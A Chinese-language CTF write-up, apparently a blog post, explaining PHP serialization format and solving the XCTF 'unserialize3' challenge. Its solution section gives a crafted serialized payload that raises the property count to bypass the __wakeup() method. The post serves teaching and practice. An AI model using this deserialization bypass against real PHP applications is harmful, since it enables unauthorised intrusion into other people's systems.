攻防世界的一个php反序列化题unserialize3
PHP反序列化
序列化通俗来讲就是将对象转化为可以传输的字符串,反序列化就是把那串可以传输的字符串再变回对象。
<?php
class chybate {
var $test = '123456';
}
$cless1 = new chybate;
// 序列化
$cless1_ser = serialize($cless1);
echo $cless1_ser . '\n';
// 反序列化
$cless1_user = unserialize($cless1_ser);
print_r($cless1_user);
?>
O:7:"chybate":1:{s:4:"test";s:6:"123456";}
chybate Object
(
[test] => 123456
)
这里的O就是object对象的意思,数字7代表着对象的函数名有7个字符,然后就是对象名"chybate",然后这个数字1表示对象里有一个变量,大括号里的s代表的是string类型,如果是一个i是int型,4表示变量名的长度,后面接着就是变量的值。
题目分析
给出了一个类xctf,包含一个变量flag和一个魔术函数__wakeup(),用code去接收一个序列化后的字符串。
分析给出的源码,魔法函数 __wakeup()
是一个突破点,将在被序列化后立即被调用。
serialize() 和 unserialize() 函数对魔术方法 __wakeup() 的处理:
serialize()函数序列化对象时,如果对象中定义了__sleep()方法,将会调用该方法来确定哪些属性需要被序列化。如果对象没有定义__sleep()方法,将会序列化对象的所有属性。
unserialize()函数反序列化对象时,如果对象中定义了__wakeup()方法,将会在对象反序列化后调用该方法。__wakeup()方法用于初始化反序列化后的对象状态,通常用于重新建立对象和其相关资源之间的联系。
__wakeup()
存在一个漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。
解题
思路就是修改序列化中的属性来绕过__wakeup 。
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf;
print(serialize($c));
?>
xctf序列化:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup()函数失效。
构造payload: /?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
,这里将变量的个数改为2,这样__wakeup()在初始化反序列化后的对象状态时就就会失效。
成功get flag!
标签:__,序列化,函数,对象,flag,CTF,解题,wakeup,PHP From: https://www.cnblogs.com/smileleooo/p/18143157